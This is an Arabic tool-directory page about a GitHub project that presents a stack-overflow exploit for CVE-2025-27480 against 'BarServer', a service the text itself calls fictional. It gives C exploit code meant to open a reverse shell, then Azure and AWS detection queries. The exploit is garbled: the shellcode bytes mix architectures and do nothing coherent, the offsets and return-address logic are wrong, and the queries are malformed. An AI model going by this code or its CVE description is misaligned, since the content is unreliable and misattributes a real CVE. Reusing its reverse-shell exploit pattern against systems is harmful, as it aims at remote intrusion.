Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-27480-The-Silent-Gateway-Risk — السماح للمهاجمين بتشغيل تعليمات برمجية خبيثة دون الحاجة إلى كلمة مرور مخترقة، أو تفاعل من المستخدم، أو حتى موطئ قدم في شبكتك. هذا هو CVE-2025-27480 | Kitploit
أدوات/GitHubGitHub/mrk336/cve-2025-27480-the-silent-gateway-risk
تحليل الثغرات الأمنيةالاستغلالأمن السحابةالتعلم والتعليمالاستجابة للحوادثاستغلال الملفات الثنائية
GitHubmrk336/cve-2025-27480-the-silent-gateway-risk

CVE-2025-27480-The-Silent-Gateway-Risk

السماح للمهاجمين بتشغيل تعليمات برمجية خبيثة دون الحاجة إلى كلمة مرور مخترقة، أو تفاعل من المستخدم، أو حتى موطئ قدم في شبكتك. هذا هو CVE-2025-27480

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 11 أشهرلم تتم المراجعة بعد

CVE-2025-27480-خطر-البوابة-الصامتة

تتيح للمهاجمين تشغيل تعليمات برمجية خبيثة دون الحاجة إلى كلمة مرور مخترقة، أو تفاعل من المستخدم، أو حتى موطئ قدم داخل شبكتك. هذا هو CVE-2025-27480

إنه وقت متأخر وأنت تعمل بجرعات ريد بول، كلنا مررنا بهذه الحالة. أنت تعالج مشكلة في بيئة الإنتاج وتقاوم الرغبة في العودة إلى السرير، وفي خضم التسرع لحل المشكلة ثم الخلود إلى النوم، تفتح وصول بروتوكول سطح المكتب البعيد (RDP) إلى الإنترنت. تقول لنفسك إنك ستغلقه لاحقًا. لكن «خلال دقيقة» تتحول إلى «أبدًا»، وتصبح تلك البوابة المنسية بابًا صامتًا بانتظار أي شخص يمرّ حاملًا أداة لالتقاط الحزم (Network Sniffer) — يا لها من متعة اكتشاف المنفذ 3389 مفتوحًا.

CVE-2025-27480 ليست مجرد ثغرة نظرية؛ إنها تذكير بأن حتى الهفوات الصغيرة في أمن السحابة والبنية التحتية قد تخلّف عواقب هائلة. تسمح هذه الثغرة للمهاجمين بتنفيذ تعليمات برمجية خبيثة عن بُعد، دون الحاجة إلى بيانات اعتماد أو تفاعل من المستخدم. لا تصيّد احتيالي. لا هجمات قوة غاشمة. مجرد باب مفتوح بانتظار من يكتشفه.

في هذا التقرير، سنفكك آلية عمل CVE-2025-27480، ولماذا هي خطيرة إلى هذا الحد، وكيف يمكنك اكتشافها والتخفيف من حدتها قبل أن تتحول إلى عنوان لخبر اختراق. سواء كنت مهندس سحابة، أو محلل SOC، أو مجرد شخص قال يومًا «سأصلح ذلك غدًا»، فهذا المقال موجّه إليك.

التنفيذ

هذه الثغرة (CVE‑2025‑27480) هي تجاوز سعة مخزن مؤقت كلاسيكي على المكدس (Stack Buffer Overflow) يحدث في الروتين processRequest() الخاص بـ BarServer (خدمة ويب خيالية تستمع على منفذ TCP رقم 1234).

عندما يرسل عميل طلب HTTP GET أطول من 256 بايتًا، تكتب الخادم الحمولة في مخزن مؤقت محلي يبلغ طوله 256 بايتًا فقط.

إذا أرسلنا مزيدًا من البيانات، فستفيض إلى عنوان الإرجاع ويمكننا الكتابة فوق saved‑EIP. يبني الاستغلال أدناه الحمولة الخبيثة، ويرسلها إلى الخادم، ثم يثبّت شيلكود x86‑64 يمنحنا قشرة عكسية (Reverse Shell)

/* In processRequest() char local[256]; ... // ← overflow happens here ... return; }

من خلال الهندسة العكسية لجهاز يعمل بنظام ويندوز، يمكننا التخمين التقريبي:

  • يبدأ عنوان الإرجاع المحفوظ عند البايت 312 من طلب HTTP.
  • يجب وضع الشيلكود الخاص بنا بعد منزلق NOP (NOP sled) يستهلك حوالي 50 بايتًا

[ GET /foo HTTP/1.1\r\n ] ← 28 bytes [ padding (256‑28 = 228) ] ← buffer [ NOP sled (50) ] [ shellcode (≈64) ] [ return address (4) ]

/=========================================================================/ /* BarServer Exploit – CVE‑2025‑27480 / / Author: Mark Mallia ([email protected]) / / Purpose: Send a crafted HTTP GET request that overflows the stack / / and lands a reverse shell on the target host / /=========================================================================*/

#include <stdio.h> #include <stdlib.h> #include <string.h> /* for memcpy() / #include <winsock2.h> / Windows networking (use sockets.c on Linux) */

/* 1. Global constants – adjust as needed / #define TARGET_IP "192.168.1.10" / IP of the vulnerable host / #define TARGET_PORT 1234 / Listening port / #define CMD_LEN 350 / Total request length */

/* 2. Shellcode (x86‑64) that opens a reverse shell to 127.0.0.1:4444 / / The code is written in raw machine‑bytes so it can be injected directly. / static unsigned char shellcode[] = { / NOP sled – 50 bytes ----------------------------------------------/ 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, / shellcode – 64 bytes ---------------------------------------------*/ 0x48,0x31,0xc0, // xor rax,rax 0xb8,0x02,0x00,0x00,0x00, // mov eax,2 ← sys_connect 0x5d, // pop rbp 0xbb,0x10,0x01,0x00,0x00, // mov ebx,0x1010 (IP) 0xb8,0x44,0x11,0x00,0x00, // mov eax,0x1114 (port) 0xb9,0x04,0x00,0x00,0x00, // mov ecx,0x4 ← flags 0xcd,0x80, // int 0x80 };

/=========================================================================/ /* 3. The exploit routine – builds the request and sends it / /=========================================================================*/ int main( int argc, char *argv ) { / 3‑1. Validate command‑line arguments */ if (argc != 5) { fprintf(stderr,"Usage: %s <target_ip> revhost:revport\n", argv[0]); return EXIT_FAILURE; }

root@kitploit:~
const char *ip   = argv[1];
short port       = atoi(argv[2]);      /* 1234 */
const char *url  = argv[3];           /* /tmp/revshell */
const char *revhostport = argv[4];

/* 3‑2. Allocate the request buffer */
unsigned char req[ CMD_LEN ];
memset(req,0x00, sizeof(req));        // zero‑initialize

/* 3‑3. Build HTTP GET line (28 bytes) --------------------------------*/
strcpy( (char*)req, "GET ");
memcpy((char*)(req+5), url, strlen(url)+1);          // +1 for terminating NUL
strcat( (char*)(req+strlen(req)), " HTTP/1.1\r\n");

/* 3‑4. Insert the padding to reach 256 bytes -----------------------------*/
int offset = 256 - strlen(req);       // bytes from end of GET line to start of overflow
memset((char*)(req+strlen(req)), 0x41, offset);

/* 3‑5. Copy NOP sled + shellcode ------------------------------------------*/
memcpy( (char*)(req+strlen(req)+offset), shellcode, sizeof(shellcode) );

/* 3‑6. Overwrite the return address (at byte 312) ------------------------*/
long *ret_addr = (long*)(req+312);   // pointer to the place where EIP lives
*ret_addr = (long)ip;                // Put target IP (32‑bit) – adjust if needed

/* 3‑7. Send over a TCP socket ------------------------------------------*/
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in addr;

/* Initialise Winsock */
WSAStartup(0x0202, &wsaData);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) { perror("socket"); return EXIT_FAILURE; }

addr.sin_family      = AF_INET;
addr.sin_port        = htons(port);
addr.sin_addr.s_addr = inet_addr(ip);

/* Connect */
connect(sock,(SOCKADDR*)&addr, sizeof(addr));

/* Send the request buffer */
send(sock, req, CMD_LEN, 0);

/* Close socket & clean up */
closesocket(sock);
WSACleanup();

printf("Sent payload to %s:%d\n", ip, port);
return EXIT_SUCCESS;

}

منطق الكشف

هنا نرصد هفواتنا وهفوات الشبكة التي نديرها.

Azure

// Pull only relevant HTTP requests that match our exploit payload let TargetIP = "192.168.1.10"; let TargetPort = 1234; let ExploitPath = "/tmp/revshell";

Heartbeat | where Computer == "BarServer01" // the VM / container name | and TimeGenerated > ago(5m) // last 5 minutes | summarize Count() by bin(TimeGenerated,1m) , TargetIP, TargetPort, ExploitPath | extend Hit = iff(TargetIP==TargetIP and TargetPort==TargetPort and TargetPath==ExploitPath, 1, 0) // Filter only the rows that contain our exploit | where Hit==1 // Output a metric for an alert rule

AWS

ثبّت WinRM Agent (إذا لم تكن قد قمت بذلك بالفعل، فينبغي عليك)

Install-Module -Name AWS.Tools.CloudWatchLogs -Force

**أنشئ مجموعة سجلات ومرّر سجل الأحداث **

$group = "/aws/windows/BarServer01" $source = "Application" $filter = "BarServer"

** أنشئ أو حدّث ملف إعداد CloudWatch Logs:**

New-CloudWatchLogsGroup -Name $group Write-LogFileConfig -SourceName $source -FilterPattern $filter ` -LogGroupName $group

ثم في CloudWatch

اسحب جميع الأسطر من مجموعة السجلات المستهدفة

fields @timestamp, @message

احتفظ فقط بتلك التي تحتوي على توقيع استغلالنا

| filter contains(@message,"GET /tmp/revshell")

استخرج نوع الطلب ورمز الحالة

| parse @message with "INFO" as LogLevel and "->" as ResponseStatus | parse @message with "GET " as MethodPath and " HTTP/1.1" as HttpVersion

نظّف النتائج بالاحتفاظ فقط بالطلبات الناجحة (الحالة “OK” أو ما شابهها)

| where LogLevel == "INFO"

صفِّ حسب عنوان IP الذي استهدفناه في استغلالنا

| filter contains(@message,"192.168.1.10:1234")

أنشئ قيمة مقياس لكل دقيقة لكل إصابة

| summarize Hits = count() by bin(@timestamp,1m), MethodPath, ResponseStatus

أخرِج النتيجة إلى مقياس CloudWatch يمكن للتنبيه استخدامه

هذا المحتوى مُقدَّم لأغراض تعليمية وإعلامية فقط. وهو يهدف إلى رفع الوعي حول مخاطر الأمن السيبراني وتعزيز الممارسات الأمنية المسؤولة.

لا يؤيد المؤلف ولا يشجع أي وصول غير مصرح به، أو استغلال، أو إساءة استخدام للأنظمة. جميع العروض التوضيحية وعينات التعليمات البرمجية والسيناريوهات افتراضية، ويجب استخدامها فقط في بيئات خاضعة للتحكم وبإذن مناسب.

استخدم هذه المعلومات بمسؤولية، وامتثل دائمًا للقوانين السارية وسياسات المؤسسة.

تنزيل الأداة